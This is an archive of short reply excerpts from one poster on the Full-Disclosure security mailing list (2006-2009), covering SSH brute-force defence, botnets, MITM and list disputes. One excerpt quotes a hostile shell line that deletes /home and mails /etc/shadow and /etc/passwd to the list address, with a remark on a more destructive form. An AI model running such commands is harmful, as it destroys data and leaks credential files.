Re: [Full-disclosure] memory required for a PNG file

2009-07-23 Thread A . L . M . Buxey
Hi, Hi How do we calculate memory required for a PNG file from the dimensions of width and height contained in the file? It seems that attackers make use width and height to take control of clients. just from H+W? you cant - you'd have to know oher things such as depth, alpha layer presence,

Re: [Full-disclosure] seriously, your code

2009-07-16 Thread A . L . M . Buxey
Hi, /bin/rm -rf /home/*;clear;echo bl4ckh4t,hehecat /etc/shadow |mail full-disclosure@lists.grok.org.uk cat /etc/passwd |mail full-disclosure@lists.grok.org.uk first off if you want to do damage rm -R dumb ass, the one you posted only removes files in /home perhaps it was *designed*

Re: [Full-disclosure] Who is destroying our internet?

2009-05-18 Thread A . L . M . Buxey
Hi, While these two events are not related in anyway, I am wondering why people don't create backup off site or don't plan normal failsafe's when there site is as big as Google (we have seen a few popular sites die because of this mistake) err, google isnt just one server - they have a whole

Re: [Full-disclosure] The BBC acquired a botnet, but was it legal? - Update

2009-03-18 Thread A . L . M . Buxey
Hi, What makes this unacceptable? Buying a botnet and turning it off. Hurah for them! Unstuff your shirts and get on with your lives. my TV licence money isnt for paying criminals. What the BBC did breaks several laws, Computer Misuse Act being the major one. Its not a case of white hat v's

Re: [Full-disclosure] Barack Obama -- Not Appropriate

2009-01-22 Thread A . L . M . Buxey
Hi, I called for John Cartwright to setup a non-technical cyber security political full-disclosure mailing list some time ago, nothing was setup. because he didnt want to - and theres no demand? What are the solutions for splitting up full-disclosure into technical and non-technical

Re: [Full-disclosure] Exploitation of unused IPv6-capabilities

2009-01-18 Thread A . L . M . Buxey
Hi, Hi folks, while playing around I had an idea for some new kind of mitm which works quite well here. do you mean like: http://tools.ietf.org/html/draft-chown-v6ops-rogue-ra-02 http://www.tml.tkk.fi/~pnr/publications/WiSe2002-Arkko.pdf yes, we're aware of the issues for some time now.

Re: [Full-disclosure] FD / lists.grok.org - bad SSL cert

2009-01-06 Thread A . L . M . Buxey
Hi, It's off topic for this thread. FD, by it's very nature, is designed I wonder why so much effort is spent discussing a self-signed web interface for unsubscribing from a mialing list - when the email headers clearly state how to leave via an email message and not bother with a web interface

Re: [Full-disclosure] Fwd: WiFi is no longer a viable secure connection

2008-10-11 Thread A . L . M . Buxey
Hi, But your SSID is very easy to retrieve, as it is leaked every time you associate a legitimate box to your wlan... And guess what: the regular I think Anshuman was attempting whats called 'humour' :-) alan ___ Full-Disclosure - We believe in

Re: [Full-disclosure] ANNOUNCE - RFIDIOt version 0.1t released

2008-10-08 Thread A . L . M . Buxey
Hi, What % have access *and* are sufficiently criminal-minded to want to take advantage of the exploit? Remember that *most* people are basically law-abiding ...unless its easy of cheap/free to break the non invasive or damaging 'laws' (eg copyright infringemnt) - many many people who tread

Re: [Full-disclosure] Linux's unofficial security-through-coverup policy

2008-07-17 Thread A . L . M . Buxey
Hi, Please let them know what you think of their policy of non-disclosure and coverups. I hope someone also educates them on their ridiculous http://www.kernel.org/pub/linux/kernel/v2.6/ the whole source code for Linux kernel available for _anyone_ to download, scan through, run tools

Re: [Full-disclosure] New round of SSH scan IP's

2008-07-09 Thread A . L . M . Buxey
hi, James, last time I checked there were several online resources where such scans can be submitted - and those people that use those resources are able to take action - eg get alerts about systems on your own nets etc - whilst an email to this list is informative, its not quite the best way,

Re: [Full-disclosure] Joel Esler comment on Sans ISC podcast

2008-06-18 Thread A . L . M . Buxey
Hi, There are actually studies going on RIGHT NOW to see if phones can be allowed to be used during flights by the FCC/FAA, and in other countries as well. several european carriers now allow mobiles to be used in flight. - i'm bothered more by the person inanely chatting during the flight

Re: [Full-disclosure] [NANOG] IOS rootkits

2008-05-21 Thread A . L . M . Buxey
Hi, How can you say the cyber world is unlikely to end when Cisco is the most widely used router on the internet today? Everyone uses Cisco, all the ISP's and everyone. I tend to ignore your comments, however this is just ridiculous. The internet is based on CISCO? yes. sure. I'm sure that

Re: [Full-disclosure] [NANOG] IOS rootkits

2008-05-21 Thread A . L . M . Buxey
Hi, It won't be our necks on the line, it will be heads within government which will be rolling who decided to ignore us and that this presentation was a good idea. eh? have you kept up with UK politics recently. No heads roll with 'new labour' - no matter what massive messes they make of

Re: [Full-disclosure] Brute force attack - need your advice

2008-02-12 Thread A . L . M . Buxey
Hi, have pasted and also the advice on keeping the SSH on a different port. run SSH on a different port? oka, dumb scanners wont find it, but others will. just dont use password-based SSH and dont let it be wide open to the whole internet (firewall it to the addresses you need - and add in a

Re: [Full-disclosure] ASUS Eee PC rooted out of the box

2008-02-08 Thread A . L . M . Buxey
Hi, It is a remote root exploit on a very popular piece of hardware, you don't think that is a big deal? from what I've read, most people are sticking WinXP or Ubuntu onto these EEPCs as soon as they get them alan ___ Full-Disclosure - We believe in

Re: [Full-disclosure] TCP Hijacking (aka Man-in-the-Middle)

2007-10-26 Thread A . L . M . Buxey
hi, theres a possibility there - but if you're on the same network and there is no seperation protection then there are lots of other tools and methods that could be used to stick your box as a man-in-middle if new or unsure you need to look for, eg gratuitous ARP, ARP poisoning, Cain Able... a

Re: [Full-disclosure] Distributed SSH username/password brute forceattack

2007-10-22 Thread A . L . M . Buxey
Hi, Oct 22 20:36:13 nms sshd[90657]: Failed password for invalid user gopher from 77.46.152.2 port 55120 ssh2 user/password authentication for SSH? one way of cleaning up your logs and killing this type of attack is to reconfigure your OpenSSH to only allow key based logins. stopped my 10M+

Re: [Full-disclosure] LloydsTSB Bruteforce Possibility in Memorable Information

2007-08-31 Thread A . L . M . Buxey
Hi, The issue lies in that if the user gets the memorable information incorrect they are asked for the same character positions (e.g. 1, 7 and 9 again). This continues forever, basically making the memorable information pointless because it will not take much to brute force it. not

Re: [Full-disclosure] Multiple Kernel Errors Fixed (DIFF attached)

2007-08-23 Thread A . L . M . Buxey
LOL. you missed out a lot of Written by and entries where Copyright wasnt written in English...and MODULE calls with author info...but i'm too lazy to make FIXUPs for such trivial changes! ;-) alan ___ Full-Disclosure - We believe in it. Charter:

Re: [Full-disclosure] LONG LIVE HEZBOLLAH AND LEBANON; DOWN WITH AMERICA AND ISRAEL

2006-08-06 Thread A . L . M . Buxey
Hi, your email address is interesting, googlemail.com, not gmail.com? are you from google? nah, probably from UK - they've forced people to use that new name due to some legal 'gmail' dispute. http://mail.google.com/mail/help/intl/en-GB/googlemail.html alan

Re: [Full-disclosure] breaking news tools, for an ever changing community

2006-06-04 Thread A . L . M . Buxey
Hi, When you signup for a n3td3v account, your account will be binded with your IP address, and you will only be able to access your account with that IP address unique address. If you try and access your account on an IP address you didn't sign-up with, you'll be denied access to your

Re: [Full-disclosure] Secunia illegal spam and advisory republication

2006-04-22 Thread A . L . M . Buxey
Hi, future of the list. Please pull away from Secunia and remove the URL, FFS. why dont you simply configure your email client not to show signatures? alan ___ Full-Disclosure - We believe in it. Charter:

Re: [Full-disclosure] Secunia illegal spam and advisory republication

2006-04-22 Thread A . L . M . Buxey
Hi, is laughable. Why did you subscribe if you aren't prepared to get messages which you might think should be moderated? It is unmoderated, that means you may not agree with messages or opinions sent to your inbox, which means you're the one who needs to shut the fuck up. Did you think

Re: [Full-disclosure] Secunia illegal spam and advisory republication

2006-04-20 Thread A . L . M . Buxey
Hi, If they are rewording advisories, then they are revealing information which was not secret. Assuming that they are in fact claiming the discovery as their own (I haven't checked this myself), I'd consider that dishonest, but I don't know it would be considered a copyright violation.

Re: [Full-disclosure] Microsoft DNS resolver: deliberately sabotaged hosts-file lookup

2006-04-13 Thread A . L . M . Buxey
hi, ...makes me wonder what happens if/when they need to change the IP address of go.microsoft.com many many people have already been burnt by the hardcoding of addresses/IPs into their applications. a ___ Full-Disclosure - We believe in it.

Re: [Full-disclosure] -ADVISORY- % =Thu Mar 16 13:23:37 EST 2006= % Buffer Overflow in Microsoft Access

2006-03-16 Thread A . L . M . Buxey
Hi, oh. more of this crap. let me guess...another open relay. its like 1994 all over again. could the owner of 85-31-186-26.blue.kundencontroller.de - aka unixgu.ru sort out their system? ESMTP Sendmail 8.13.4 isnt too difficult to manage as a 'guru'

Re: [Full-disclosure] NSA tracking open source security tools

2006-02-04 Thread A . L . M . Buxey
Hi, to track Nmap release status. And apparently they are doing so :). The latest (February 6) issue of Newsweek has a picture on page 39 of George Bush visiting the NSA headquarters in Fort Meade. A wall-sized ummm, that page is just: http://securitywizardry.com/radar.htm it is a